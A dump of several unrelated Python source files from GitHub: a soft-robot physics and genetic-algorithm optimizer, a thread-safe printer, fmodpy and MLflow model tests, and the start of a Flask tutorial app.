x_r)), m_np[:, 6])\r\n m_np[:, 7] = np.where(m_np[:, 2] < 0, np.where(F_h < u_frict_s * Fnorm, 0, np.multiply(F_hn, y_r)), m_np[:, 7])\r\n\r\n\r\n # Update velocities of masses (with dampening)\r\n m_np[:, 3:6] = 0.999*np.add(m_np[:, 3:6], dt * m_np[:, 6:9])\r\n\r\n # Update positions of masses\r\n m_np[:, 0:3] = np.add(m_np[:, 0:3], dt * m_np[:, 3:6])\r\n\r\n y_sum_final = np.sum(m_np[:, 1])\r\n x_sum_final = np.sum(m_np[:, 0])\r\n\r\n ending_x = x_sum_final / len(massList)\r\n ending_y = y_sum_final / len(massList)\r\n del m_np\r\n del s_np\r\n if len(musclePoints) != 0:\r\n del mp_np\r\n\r\n speed_final = math.sqrt(pow(ending_x - starting_x, 2) + pow(ending_y - starting_y, 2)) / (dt * iterations)\r\n\r\n return speed_final\r\n\r\n\r\n\r\ndef applyForces(massList, springList, musclePoints=[]):\r\n # Apply all net forces acting on each mass in massList\r\n global T\r\n global spring_evals\r\n global spring_eval_plot\r\n gravity_a = [0, 0, -9.81]\r\n T = T + dt\r\n\r\n # Zero all accelerations\r\n for mass in massList:\r\n mass.accX = 0.0\r\n mass.accY = 0.0\r\n mass.accZ = 0.0\r\n\r\n\r\n # Apply Gravity\r\n for mass in massList:\r\n mass.accX = mass.accX + gravity_a[0]\r\n mass.accY = mass.accY + gravity_a[1]\r\n mass.accZ = mass.accZ + gravity_a[2]\r\n\r\n # Apply muscle actuations\r\n for i in range(0, len(springList)):\r\n for musclePoint in musclePoints:\r\n avgX = (springList[i].m1.posX + springList[i].m2.posX) / 2\r\n avgY = (springList[i].m1.posY + springList[i].m2.posY) / 2\r\n avgZ = (springList[i].m1.posZ + springList[i].m2.posZ) / 2\r\n dist = math.sqrt(\r\n pow(avgX - musclePoint.m.posX, 2) + pow(avgY - musclePoint.m.posY, 2) + pow(avgZ - musclePoint.m.posZ,\r\n 2))\r\n # springList[i].rLength = springList[i].rLength * (\r\n # 1 + (1 / dist) * musclePoint.b * (math.sin(musclePoint.w * T + musclePoint.c)))\r\n springList[i].rLength = springList[i].rLength_a * (\r\n 1 + (1 / dist) * musclePoint.b * (math.sin(musclePoint.w * T + musclePoint.c)))\r\n \r\n # Apply spring forces\r\n for spring in springList:\r\n distVect = np.array([spring.m1.posX - spring.m2.posX, spring.m1.posY - spring.m2.posY, spring.m1.posZ - spring.m2.posZ])\r\n springLength = calcMassDist(spring.m1, spring.m2)\r\n distVect = distVect*(1/springLength)\r\n springForce = spring.k * (spring.rLength - springLength)\r\n spring.m1.accX = spring.m1.accX + (springForce * distVect[0])\r\n spring.m1.accY = spring.m1.accY + (springForce * distVect[1])\r\n spring.m1.accZ = spring.m1.accZ + (springForce * distVect[2])\r\n spring.m2.accX = spring.m2.accX - (springForce * distVect[0])\r\n spring.m2.accY = spring.m2.accY - (springForce * distVect[1])\r\n spring.m2.accZ = spring.m2.accZ - (springForce * distVect[2])\r\n\r\n\r\n\r\n # Apply normal forces + friction\r\n for mass in massList:\r\n # apply normal force from the floor\r\n if mass.posZ < Zfloor:\r\n F_n = k_wall * (Zfloor - mass.posZ)\r\n mass.accZ = mass.accZ + F_n\r\n F_h = math.sqrt(pow(mass.accX*mass.mass,2) + pow(mass.accY*mass.mass,2))\r\n if F_h < abs(F_n*u_frict_s):\r\n mass.accX = 0\r\n mass.accY = 0\r\n else:\r\n F_hn = F_h - (u_frict_k*F_n)\r\n X_R = (mass.accX * unit_mass) / F_h\r\n Y_R = (mass.accY * unit_mass) / F_h\r\n mass.accX = (F_hn/unit_mass)*X_R\r\n mass.accY = (F_hn/unit_mass)*Y_R\r\n\r\n\r\n dampening_const = 0.999\r\n # Apply dampening\r\n for mass in massList:\r\n mass.velX = mass.velX * dampening_const\r\n mass.velY = mass.velY * dampening_const\r\n mass.velZ = mass.velZ * dampening_const\r\n\r\n\r\ndef updateVelocities(massList):\r\n # Update mass velocities based on latest acceleration\r\n\r\n for mass in massList:\r\n mass.velX = mass.velX + (dt * mass.accX)\r\n mass.velY = mass.velY + (dt * mass.accY)\r\n mass.velZ = mass.velZ + (dt * mass.accZ)\r\n\r\n\r\ndef updatePositions(massList):\r\n # Update mass positions based on latest velocities\r\n\r\n for mass in massList:\r\n mass.posX = mass.posX + (dt * mass.velX)\r\n mass.posY = mass.posY + (dt * mass.velY)\r\n mass.posZ = mass.posZ + (dt * mass.velZ)\r\n\r\ndef findMassIdx(robot, mass):\r\n for n in range(len(robot.struct.masses)):\r\n if mass == robot.struct.masses[n]:\r\n massIdx = n\r\n return massIdx\r\n\r\n\r\ndef mutateMuscle(heap):\r\n # Mutate a random muscle in robot heap\r\n muscleIdxList = []\r\n for i in range(0, len(heap)):\r\n if heap[i][3] != 0.0 and heap[i][3] != -1.0:\r\n muscleIdxList.append(i)\r\n if muscleIdxList == []:\r\n return heap\r\n randPoint = random.choice(muscleIdxList)\r\n randElement = random.choice(['b', 'w', 'c'])\r\n randFactor = random.uniform(0.9, 1.1)\r\n\r\n if randElement == 'b':\r\n heap[randPoint][3] = heap[randPoint][3]*randFactor\r\n elif randElement == 'w':\r\n heap[randPoint][4] = heap[randPoint][4]*randFactor\r\n elif randElement == 'c':\r\n heap[randPoint][5] = heap[randPoint][5]*randFactor\r\n\r\n return heap\r\n\r\ndef crossover_linked(heap1, heap2):\r\n # Performs GA crossover between two heaps and produces a child heap\r\n if len(heap1) < len(heap2):\r\n randIdx = random.randint(1, len(heap1))\r\n while heap1[randIdx-1][0] == -1.0 or heap2[randIdx-1][0] == -1.0:\r\n randIdx = random.randint(1, len(heap1))\r\n else:\r\n randIdx = random.randint(1, len(heap2))\r\n while heap1[randIdx-1][0] == -1.0 or heap2[randIdx-1][0] == -1.0:\r\n randIdx = random.randint(1, len(heap2))\r\n\r\n heap2_subtree = build_subtree(heap=heap2, idx=randIdx)\r\n\r\n heap_new = replace_branch(heap=heap1, heap_subtree=heap2_subtree, idx=randIdx)\r\n\r\n return heap_new\r\n\r\ndef crossover_unlinked(heap1, heap2):\r\n # Performs GA crossover between two heaps and produces a child heap\r\n randIdx1 = random.randint(1, len(heap1))\r\n randIdx2 = random.randint(1, len(heap2))\r\n while heap1[randIdx1-1][0] == -1.0:\r\n randIdx1 = random.randint(1, len(heap1))\r\n while heap2[randIdx2-1][0] == -1.0:\r\n randIdx2 = random.randint(1, len(heap2))\r\n\r\n heap2_subtree = build_subtree(heap=heap2, idx=randIdx2)\r\n\r\n heap_new = replace_branch(heap=heap1, heap_subtree=heap2_subtree, idx=randIdx1)\r\n\r\n return heap_new\r\n\r\ndef breed_generation(population_list, best_heap, linked=False, selection_pressure=2):\r\n # Breeds a population to create the next generation\r\n\r\n # Sort population based on simulation speed\r\n population_list.sort(key = lambda x: x[1], reverse=True)\r\n pop_size = len(population_list)\r\n appended_population_list = population_list[:math.floor(pop_size/selection_pressure)]\r\n del population_list\r\n\r\n new_random_heap = generateRandomTernaryHeap()\r\n appended_population_list.append([new_random_heap, 0.0])\r\n appended_population_list.append([best_heap, 0.0])\r\n\r\n new_population = []\r\n for i in range(0, pop_size):\r\n parent1Idx = random.randint(0, len(appended_population_list)-1)\r\n parent2Idx = random.randint(0, len(appended_population_list)-1)\r\n while parent1Idx == parent2Idx:\r\n parent2Idx = random.randint(0, len(appended_population_list)-1)\r\n if linked:\r\n new_population.append([crossover_linked(appended_population_list[parent1Idx][0], appended_population_list[parent2Idx][0]), 0.0])\r\n else:\r\n new_population.append([crossover_unlinked(appended_population_list[parent1Idx][0], appended_population_list[parent2Idx][0]), 0.0])\r\n\r\n return new_population\r\n\r\n\r\ndef prune_heap(heap, max_depth):\r\n max_length = int((pow(3, max_depth+1)-1)/2)\r\n while len(heap) >= max_length:\r\n\r\n if heap[-1][0] == -1.0:\r\n heap = np.delete(heap, -1, axis=0)\r\n else:\r\n parentIdx = getParentIdx(len(heap))\r\n while parentIdx >= max_length:\r\n parentIdx = getParentIdx(parentIdx)\r\n heap = snip_tree(heap=heap, idx=parentIdx)\r\n\r\n return heap\r\n\r\ndef snip_tree(heap, idx, start_idx=0, flag=False, muscleSum=[0.0, 0.0, 0.0, 0]):\r\n # Snips tree for prune heap to include muscle points\r\n if not flag:\r\n start_idx = idx\r\n flag=True\r\n # Snip tree starting at idx and sum muscle points\r\n if heap[idx-1][0] == 1:\r\n childIdx = getChild1Idx(idx)\r\n if childIdx <= len(heap):\r\n heap = snip_tree(heap=heap, idx=childIdx, start_idx=start_idx, flag=flag, muscleSum=muscleSum)\r\n if heap[idx-1][1] == 1:\r\n childIdx = getChild2Idx(idx)\r\n if childIdx <= len(heap):\r\n heap = snip_tree(heap=heap, idx=childIdx, start_idx=start_idx, flag=flag, muscleSum=muscleSum)\r\n if heap[idx-1][2] == 1:\r\n childIdx = getChild3Idx(idx)\r\n if childIdx <= len(heap):\r\n heap = snip_tree(heap=heap, idx=childIdx, start_idx=start_idx, flag=flag, muscleSum=muscleSum)\r\n\r\n if heap[idx-1][3] != 0.0:\r\n muscleSum[0] += heap[idx-1][3]\r\n muscleSum[1] += heap[idx-1][4]\r\n muscleSum[2] += heap[idx-1][5]\r\n muscleSum[3] += 1\r\n if idx == start_idx:\r\n heap[idx-1][0] = 0.0\r\n heap[idx-1][1] = 0.0\r\n heap[idx-1][2] = 0.0\r\n if muscleSum[3] != 0:\r\n heap[idx-1][3] = float(muscleSum[0] / muscleSum[3])\r\n heap[idx-1][4] = float(muscleSum[1] / muscleSum[3])\r\n heap[idx-1][5] = float(muscleSum[2] / muscleSum[3])\r\n else:\r\n # Replace idx with empty list (-1)\r\n heap[idx-1] = np.full(6, -1.0)\r\n\r\n return heap\r\n\r\ndef replace_branch(heap, heap_subtree, idx, idx_sub=1, heap_cp = [], cleared=False, start_idx = 1):\r\n\r\n if not cleared:\r\n heap_cp = np.copy(heap)\r\n for i in range(0,len(heap_subtree)):\r\n if float(heap_subtree[i][0]) != -1.0:\r\n idx_sub=i+1\r\n break\r\n heap_cp = clear_subtree(heap_cp, idx)\r\n cleared = True\r\n start_idx = idx\r\n timeout = 0\r\n if len(heap_cp) < idx:\r\n # Pad heap with empty values\r\n heap_cp = np.concatenate((heap_cp, np.full((idx-len(heap_cp), 6), -1.0)), axis=0)\r\n if heap_subtree[idx_sub-1][0] == 1:\r\n childIdx = getChild1Idx(idx)\r\n childIdxSub = getChild1Idx(idx_sub)\r\n if childIdxSub < len(heap_subtree)+1:\r\n heap_cp = replace_branch(heap, heap_subtree, childIdx, childIdxSub, heap_cp, cleared, start_idx)\r\n if heap_subtree[idx_sub-1][1] == 1:\r\n childIdx = getChild2Idx(idx)\r\n childIdxSub = getChild2Idx(idx_sub)\r\n if childIdxSub < len(heap_subtree)+1:\r\n heap_cp = replace_branch(heap, heap_subtree, childIdx, childIdxSub, heap_cp, cleared, start_idx)\r\n if heap_subtree[idx_sub-1][2] == 1:\r\n childIdx = getChild3Idx(idx)\r\n childIdxSub = getChild3Idx(idx_sub)\r\n if childIdxSub < len(heap_subtree)+1:\r\n heap_cp = replace_branch(heap, heap_subtree, childIdx, childIdxSub, heap_cp, cleared, start_idx)\r\n heap_cp[idx-1] = heap_subtree[idx_sub-1]\r\n\r\n if idx == start_idx:\r\n while heap_cp[-1][0] == -1:\r\n heap_cp = np.delete(heap_cp, -1, axis=0)\r\n\r\n return heap_cp\r\n\r\ndef build_subtree(heap, idx, heap_subtree = []):\r\n # Creates a subtree of length = len(heap)\r\n # Containing values of subtree off of\r\n # index idx-1 and empty (-1) for all other nodes\r\n # Recursive function\r\n\r\n # Define heap_subtree of length of heap\r\n if len(heap_subtree) == 0:\r\n heap_subtree = np.full((len(heap), 6), -1.0)\r\n\r\n if heap[idx-1][0] == 1:\r\n childIdx = getChild1Idx(idx)\r\n if childIdx < len(heap)+1:\r\n heap_subtree = build_subtree(heap, childIdx, heap_subtree)\r\n if heap[idx-1][1] == 1:\r\n childIdx = getChild2Idx(idx)\r\n if childIdx < len(heap)+1:\r\n heap_subtree = build_subtree(heap, childIdx, heap_subtree)\r\n if heap[idx-1][2] == 1:\r\n childIdx = getChild3Idx(idx)\r\n if childIdx < len(heap)+1:\r\n heap_subtree = build_subtree(heap, childIdx, heap_subtree)\r\n\r\n heap_subtree[idx-1] = heap[idx-1]\r\n\r\n return heap_subtree\r\n\r\ndef clear_subtree(heap, idx):\r\n # Clear out subtree starting at index idx\r\n if heap[idx-1][0] == 1:\r\n childIdx = getChild1Idx(idx)\r\n if childIdx < len(heap)+1:\r\n heap = clear_subtree(heap, childIdx)\r\n if heap[idx-1][1] == 1:\r\n childIdx = getChild2Idx(idx)\r\n if childIdx < len(heap) + 1:\r\n heap = clear_subtree(heap, childIdx)\r\n if heap[idx-1][2] == 1:\r\n childIdx = getChild3Idx(idx)\r\n if childIdx < len(heap) + 1:\r\n heap = clear_subtree(heap, childIdx)\r\n\r\n # Replace idx with empty list (-1)\r\n heap[idx-1] = np.full(6, -1.0)\r\n\r\n return heap\r\n\r\n\r\ndef GA_Optimize(generations=100, population_size=5, simulation_frames=50000):\r\n # Cross-breeding optimization using GA for fastest robot (+x direction)\r\n gravity_a = [0, 0, -9.81]\r\n prune_depth = 7\r\n best_speed = float('-inf')\r\n best_heap = []\r\n best_generation = 0\r\n p_mutation = 0.2 # Probability of mutation\r\n p_crossover_linked = 0.5 # Probability of crossover linked\r\n p_crossover_unlinked = 0.3 # Probability of crossover unlinked\r\n operators_list = [['mutation', p_mutation], ['crossover_linked', p_crossover_linked],\r\n ['crossover_unlinked', p_crossover_unlinked]]\r\n\r\n population_list = []\r\n for i in range(0, population_size):\r\n population_list.append([generateRandomTernaryHeap(), 0.0])\r\n try:\r\n for i in range(0, generations):\r\n print(f'Generation: {i}')\r\n\r\n # Prune heaps that are too large\r\n for p in population_list:\r\n p[0] = prune_heap(p[0], prune_depth)\r\n\r\n # Append arguments list for pool simulator\r\n args_list = []\r\n for p in population_list:\r\n #[masses, springs, musclePoints] = generateNewTetraRobot(p[0])\r\n args_list.append([simulation_frames, p[0]])\r\n\r\n print('Executing Simulations...')\r\n st_time = time.time()\r\n with Pool() as p:\r\n results = p.map(physics_cupy, args_list)\r\n\r\n print('Simulation Done')\r\n print(f'Simulation Time: {math.floor(time.time()-st_time)} seconds')\r\n process = psutil.Process(os.getpid())\r\n print(process.memory_info().rss) # in bytes\r\n lengths = []\r\n for j in range(0, len(results)):\r\n population_list[j][1] = results[j]\r\n lengths.append(len(population_list[j][0]))\r\n\r\n population_list.sort(key=lambda x: x[1], reverse=True)\r\n if population_list[0][1] > best_speed:\r\n best_speed = population_list[0][1]\r\n best_heap = population_list[0][0]\r\n best_generation = i\r\n if best_speed > 0:\r\n print(f'New Best Speed: {best_speed}')\r\n else:\r\n if best_speed > 0:\r\n print(f'Previous Best Speed: {best_speed}')\r\n print(f'Last Generation of improvement: {best_generation}')\r\n\r\n operator_val = random.uniform(0,1)\r\n sum = 0\r\n operation = ''\r\n for operator in operators_list:\r\n sum += operator[1]\r\n if sum >= operator_val:\r\n operation = operator[0]\r\n break\r\n\r\n print(f'Operation: {operation}')\r\n if operation == 'crossover_linked':\r\n population_list = breed_generation(population_list, best_heap=best_heap, linked=True)\r\n elif operation == 'crossover_unlinked':\r\n population_list = breed_generation(population_list, best_heap=best_heap, linked=False)\r\n elif operation == 'mutation':\r\n for k in range(0,len(population_list)):\r\n population_list[k][0] = mutateMuscle(population_list[k][0])\r\n else:\r\n print('INVALID OPERATOR... EXITING...')\r\n exit()\r\n except Exception as e:\r\n print(e)\r\n\r\n print(f'Best Speed: {best_speed}')\r\n now = datetime.datetime.now()\r\n\r\n file = \"<INSERT FILE PATH>\" + now.strftime(\"%Y%m%d%H%M%S\") + \".txt\"\r\n print(f'Writing to file: {file}')\r\n with open(file, 'w') as f:\r\n f.write('[')\r\n for h in best_heap:\r\n f.write(f'[{h[0]}')\r\n for v in range(1,len(h)):\r\n f.write(f', {h[v]}')\r\n f.write('], \\n')\r\n f.write(']')\r\n\r\n\r\n return best_speed, best_heap\r\n\r\nif __name__ == '__main__':\r\n # Main function\r\n test = 'numpy evolve' # Change this parameter for different simulations\r\n global gravity_a\r\n start_time = time.time()\r\n\r\n if test == 'simple bounce':\r\n cube1 = Cube([3,3,6], 2, 10000)\r\n objList = [cube1]\r\n breathing = False\r\n gravity_a = [0,0,-9.81]\r\n elif test == 'Optimize Robot':\r\n gravity_a = [0, 0, -9.81]\r\n best_speed, best_heap = GA_Optimize()\r\n [masses, springs, musclePoints] = generateNewTetraRobot(best_heap)\r\n # Bring robot to floor\r\n min_z = float('inf')\r\n for mass in masses:\r\n if mass.posZ < min_z:\r\n min_z = mass.posZ\r\n for mass in masses:\r\n mass.posZ -= min_z\r\n elif test == 'numpy evolve':\r\n gravity_a = [0, 0, -9.81]\r\n best_speed, best_heap = GA_Optimize()\r\n [masses, springs, musclePoints] = generateNewTetraRobot(best_heap)\r\n # Bring robot to floor\r\n min_z = float('inf')\r\n for mass in masses:\r\n if mass.posZ < min_z:\r\n min_z = mass.posZ\r\n for mass in masses:\r\n mass.posZ -= min_z\r\n\r\n\r\n\r\n\r\n # Start simulation with input cubes\r\n anim = animation.FuncAnimation(fig, animate, init_func=init,\r\n fargs=(line0, masses, springs, musclePoints),\r\n frames=1000, interval=1, repeat=False)\r\n\r\n\r\n show_anim = False\r\n if show_anim:\r\n plt.show() # Show simulation\r\n\r\n record=True # Change to True to record Gif of simulation\r\n if record:\r\n now = datetime.datetime.now()\r\n f = \"<INSERT FILE PATH>\" + now.strftime(\"%Y%m%d%H%M%S\") + \".gif\"\r\n print(f'Saving file to {f}')\r\n writergif = animation.PillowWriter(fps=30)\r\n anim.save(f, writer=writergif)\r\n\r\n end_time = time.time()\r\n print('Run time: {} seconds'.format(end_time-start_time))\r\n","repo_name":"elo2124/Evolutionary-Soft-Robotics","sub_path":"Robot_Optimization_GH.py","file_name":"Robot_Optimization_GH.py","file_ext":"py","file_size_in_byte":48512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"27435898142","text":"import asyncio\nimport queue\nimport threading\nimport time\nfrom contextlib import AbstractContextManager\nfrom dataclasses import dataclass\nfrom types import TracebackType\nfrom typing import Type\n\n\n@dataclass\nclass SafePrinter(AbstractContextManager):\n \"\"\" A context manager for threadsafe printing.\n\n Usage:\n with SafePrinter as safeprint:\n safeprint(text: str, timestamp: bool, reset: bool)\n\n timestamp (default = True) will prefix the text with a timestamp and concurrent location.\n reset (default = False) will zeroise the timer\n \"\"\"\n _time_0 = time.perf_counter()\n _print_q = queue.Queue()\n _print_thread: threading.Thread | None = None\n \n def __enter__(self):\n \"\"\" Run the safeprint consumer method in a print thread.\n \n Returns:\n Thw safeprint producer method. (a.k.a. the runtime context)\n \"\"\"\n self._print_thread = threading.Thread(target=self._safeprint_consumer, name='Print Thread')\n self._print_thread.start()\n return self._safeprint\n \n def __exit__(self, __exc_type: Type[BaseException] | None, __exc_value: BaseException | None,\n __traceback: TracebackType | None) -> bool | None:\n \"\"\" Close the print and join the print thread.\n \n Args:\n None or the exception raised during the execution of the safeprint producer method.\n __exc_type:\n __exc_value:\n __traceback:\n \n Returns:\n False to indicate that any exception raised in self._safeprint has not been handled.\n \"\"\"\n self._print_q.put(None)\n self._print_thread.join()\n return False\n \n def _safeprint(self, msg: str, *, timestamp: bool = True, reset: bool = False):\n \"\"\"Put a string into the print queue.\n \n 'None' is a special msg. It is not printed but will close the queue and this context manager.\n \n The exclusive thread and a threadsafe print queue ensure race free printing.\n This is the producer in the print queue's producer/consumer pattern.\n It runs in the same thread as the calling function\n \n Args:\n msg: The message to be printed.\n timestamp: Print a timestamp (Default = True).\n reset: Reset the time to zero (Default = False).\n \"\"\"\n if reset:\n self._time_0 = time.perf_counter()\n if timestamp:\n self._print_q.put(f'{self._timestamp()} --- {msg}')\n else:\n self._print_q.put(msg)\n \n def _safeprint_consumer(self):\n \"\"\"Get strings from the print queue and print them on stdout.\n \n The print statement is not threadsafe, so it must run in its own thread.\n This is the consumer in the print queue's producer/consumer pattern.\n \"\"\"\n print(f'{self._timestamp()}: The SafePrinter is open for output.')\n while True:\n msg = self._print_q.get()\n \n # Exit function when any producer function places 'None'.\n if msg is not None:\n print(msg)\n else:\n break\n print(f'{self._timestamp()}: The SafePrinter has closed.')\n \n def _timestamp(self) -> str:\n \"\"\"Create a timestamp with useful status information.\n \n This is a support function for the print queue producers. It runs in the same thread as the calling function\n so the returned data does not cross between threads.\n \n Returns:\n timestamp\n \"\"\"\n secs = time.perf_counter() - self._time_0\n try:\n asyncio.get_running_loop()\n except RuntimeError as exc:\n if exc.args[0] == 'no running event loop':\n loop_text = 'without a loop'\n else:\n raise\n else:\n loop_text = 'with a loop'\n return f'{secs:.3f}s In {threading.current_thread().name} of {threading.active_count()} {loop_text}'\n","repo_name":"trin5tensa/moviedb","sub_path":"threadsafe_printer.py","file_name":"threadsafe_printer.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"32088963299","text":"\n\n# Standardized testing interface.\ndef test():\n import os\n dir_name = os.path.dirname(os.path.abspath(__file__))\n test_name = os.path.basename(dir_name)\n fort_file = os.path.join(dir_name, f\"{test_name}.f03\")\n build_dir = os.path.join(dir_name, f\"fmodpy_{test_name}\")\n print(f\" {test_name}..\", end=\" \", flush=True)\n import fmodpy\n fort = fmodpy.fimport(fort_file, build_dir=build_dir,\n output_dir=dir_name, verbose=False, wrap=True,\n rebuild=True, show_warnings=False)\n # ---------------------------------------------------------------\n # Begin specific testing code.\n\n import numpy as np\n a = np.array([True, False, True, False, True, False, True, False], dtype=bool)\n temp = np.asarray(a, dtype='int32')\n out = temp.copy()\n assert(all(out == fort.test_simple_logical(temp, b=out, c=False)))\n assert(not any(fort.test_simple_logical(temp, b=out, c=True)))\n\n # End specific testing code.\n # ---------------------------------------------------------------\n print(\"passed\", flush=True)\n\n\nif __name__ == \"__main__\":\n test()\n\n","repo_name":"tchlux/fmodpy","sub_path":"fmodpy/test/procedure/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"69"} +{"seq_id":"30414578299","text":"import numpy as np\nimport numpy.typing as npt\nimport pandas as pd\nfrom mlflow.pyfunc import PyFuncModel # type: ignore\n\n\nclass TestNDArrayPyFuncModel:\n def test_pyfunc_model_ndarray_instance(self, pyfunc_model_ndarray: PyFuncModel):\n assert isinstance(pyfunc_model_ndarray, PyFuncModel)\n\n def test_pyfunc_model_ndarray_predict(\n self,\n pyfunc_model_ndarray: PyFuncModel,\n model_input: pd.DataFrame,\n model_output_ndarray: npt.ArrayLike,\n ):\n \"\"\"PyFunc model with ndarray return type should predict correct values.\"\"\"\n assert np.equal(\n model_output_ndarray, pyfunc_model_ndarray.predict(model_input)\n ).all()\n\n\nclass TestSeriesPyFuncModel:\n def test_pyfunc_model_series_instance(self, pyfunc_model_series: PyFuncModel):\n assert isinstance(pyfunc_model_series, PyFuncModel)\n\n def test_pyfunc_model_series_predict(\n self,\n pyfunc_model_series: PyFuncModel,\n model_input: pd.DataFrame,\n model_output_series: pd.Series,\n ):\n \"\"\"PyFunc model with Series return type should predict correct values.\"\"\"\n\n pd.testing.assert_series_equal(\n model_output_series, pyfunc_model_series.predict(model_input)\n )\n\n\nclass TestDataFramePyFuncModel:\n def test_pyfunc_model_dataframe_instance(self, pyfunc_model_dataframe: PyFuncModel):\n assert isinstance(pyfunc_model_dataframe, PyFuncModel)\n\n def test_pyfunc_model_dataframe_predict(\n self,\n pyfunc_model_dataframe: PyFuncModel,\n model_input: pd.DataFrame,\n model_output_dataframe: pd.DataFrame,\n ):\n \"\"\"PyFunc model with DataFrame return type should predict correct values.\"\"\"\n\n pd.testing.assert_frame_equal(\n model_output_dataframe, pyfunc_model_dataframe.predict(model_input)\n )\n\n\nclass TestNaNNDArrayPyFuncModel:\n def test_pyfunc_model_nan_ndarray_instance(self, pyfunc_model_nan_ndarray):\n assert isinstance(pyfunc_model_nan_ndarray, PyFuncModel)\n\n def test_pyfunc_model_nan_ndarray_predict(\n self,\n pyfunc_model_nan_ndarray,\n model_input: pd.DataFrame,\n ):\n \"\"\"PyFunc model with ndarray return type should predict correct values.\"\"\"\n assert np.isnan(pyfunc_model_nan_ndarray.predict(model_input)).all()\n\n\nclass TestNaNSeriesPyFuncModel:\n def test_pyfunc_model_nan_series_instance(self, pyfunc_model_nan_series):\n assert isinstance(pyfunc_model_nan_series, PyFuncModel)\n\n def test_pyfunc_model_series_nan_predict(\n self,\n pyfunc_model_nan_series,\n model_input: pd.DataFrame,\n ):\n \"\"\"PyFunc model with Series return type should predict correct values.\"\"\"\n series = pyfunc_model_nan_series.predict(model_input)\n assert series.isna().all()\n\n\nclass TestNaNDataFramePyFuncModel:\n def test_pyfunc_model_nan_dataframe_instance(self, pyfunc_model_nan_dataframe):\n assert isinstance(pyfunc_model_nan_dataframe, PyFuncModel)\n\n def test_pyfunc_model_dataframe_nan_predict(\n self,\n pyfunc_model_nan_dataframe,\n model_input: pd.DataFrame,\n ):\n \"\"\"PyFunc model with DataFrame return type should predict all na values.\"\"\"\n df = pyfunc_model_nan_dataframe.predict(model_input)\n assert df[\"a\"].isna().all()\n assert df[\"b\"].isna().all()\n\n\nclass TestStrPyFuncModel:\n def test_pyfunc_model_str_instance(self, pyfunc_model_str_ndarray):\n assert isinstance(pyfunc_model_str_ndarray, PyFuncModel)\n\n def test_pyfunc_model_str_predict(\n self,\n pyfunc_model_str_ndarray,\n model_input: pd.DataFrame,\n model_output_str_ndarray: npt.ArrayLike,\n ):\n \"\"\"PyFunc model with array of str return type should predict correct values.\"\"\"\n ndarray = pyfunc_model_str_ndarray.predict(model_input)\n assert np.equal(model_output_str_ndarray, ndarray).all()\n\n\nclass TestStrSeriesPyFuncModel:\n def test_pyfunc_model_str_series_instance(self, pyfunc_model_str_series):\n assert isinstance(pyfunc_model_str_series, PyFuncModel)\n\n def test_pyfunc_model_series_str_predict(\n self,\n pyfunc_model_str_series,\n model_input: pd.DataFrame,\n model_output_str_series,\n ):\n \"\"\"PyFunc model with str Series return type should predict correct values.\"\"\"\n series = pyfunc_model_str_series.predict(model_input)\n pd.testing.assert_series_equal(model_output_str_series, series)\n\n\ndef test_pyfunc_model_signature_inputs(pyfunc_model_ndarray):\n schema = pyfunc_model_ndarray.metadata.get_input_schema()\n schema_dict = schema.to_dict()\n assert schema_dict == [\n {\"name\": \"int32\", \"type\": \"integer\"},\n {\"name\": \"int64\", \"type\": \"long\"},\n {\"name\": \"double\", \"type\": \"double\"},\n {\"name\": \"bool\", \"type\": \"boolean\"},\n {\"name\": \"bytes\", \"type\": \"binary\"},\n {\"name\": \"str\", \"type\": \"string\"},\n {\"name\": \"datetime\", \"type\": \"datetime\"},\n ]\n","repo_name":"autotraderuk/fastapi-mlflow","sub_path":"tests/test_conftest.py","file_name":"test_conftest.py","file_ext":"py","file_size_in_byte":4997,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"69"} +{"seq_id":"71819065179","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n\n# 引入了Flask类\nfrom crypt import methods\nfrom encodings import utf_8\nfrom importlib.resources import path\nfrom flask import Flask, url_for, request, render_template, redirect, flash, session, make_response,Blueprint,jsonify\nfrom flask_wtf.file import FileField, FileRequired, FileAllowed # 文件上传\nfrom flask import send_from_directory # 发送静态文件\nfrom flask_cors import CORS # 跨域访问\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.routing import BaseConverter # 正则表达式\nimport os\nimport uuid # 生成随机字符串\nimport json\nfrom api.login import * # [蓝图]模块化\nfrom api.upload import * # [蓝图]模块化\nfrom api.logout import * # [蓝图]模块化\nfrom api.user import * # [蓝图]模块化\n\n# 实例化Flask对象 app\napp = Flask(__name__, template_folder='./myProject/templates/',static_folder=\"./static/\") # 访问静态文件夹下的文件 http://127.0.0.1:5876/static/文件名.jpg\n\n# [允许跨域]\nCORS(app, supports_credentials=True)\n\n# 注册路由(蓝图)\napp.register_blueprint(login,url_prefix='/login')\napp.register_blueprint(upload,url_prefix='/upload')\napp.register_blueprint(logout,url_prefix='/logout')\napp.register_blueprint(user,url_prefix='/user')\n\n\n# [文件上传]存放位置\nprint(\"上传文件存放路径为\",os.path.dirname(os.path.abspath(__file__)))\napp.config['UPLOAD_FOLDER'] = 'upload/' # 注意 :upload 前面不能加“/”\n# [文件上传文件大小限制\napp.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024 # 10M\n# [jwt配置]\napp.config[\"JWT_SECRET\"] = \"JWT_SECRET_KEY\"\napp.config[\"JWT_EXPIRY_HOURS\"] = 60\napp.config[\"JWT_REFRESH_DAYS\"] = 1\n\n# [动态路由参数]正则表达式\nclass RegexConver(BaseConverter):\n def __init__(self,url_map,*items):\n super(RegexConver,self).__init__(url_map)\n self.regex = items[0]\n \napp.url_map.converters['regex'] = RegexConver\n\n\n# [静态路由]\n@app.route('/')\n# 每个路由对应一个函数(路由映射函数)\ndef root():\n return redirect(url_for('home'))# 重定向到home路由\n\n# 后端渲染模板(前端页面)\n@app.route('/home')\ndef home():\n return render_template('home.html', title=\"欢迎\") # 模板内容进行渲染返回\n\n# [动态路由]参数name在url中,数据类型默认为字符串\n@app.route('/user/<name>', methods=['GET', 'POST'])\ndef user(name):\n return {\"msg\": \"success\", \"status\": 200, \"data\": name} \n\n# [动态路由]限制参数类型为整型\n@app.route('/user_int/<int:id>', methods=['GET', 'POST'])\ndef user_int(id):\n 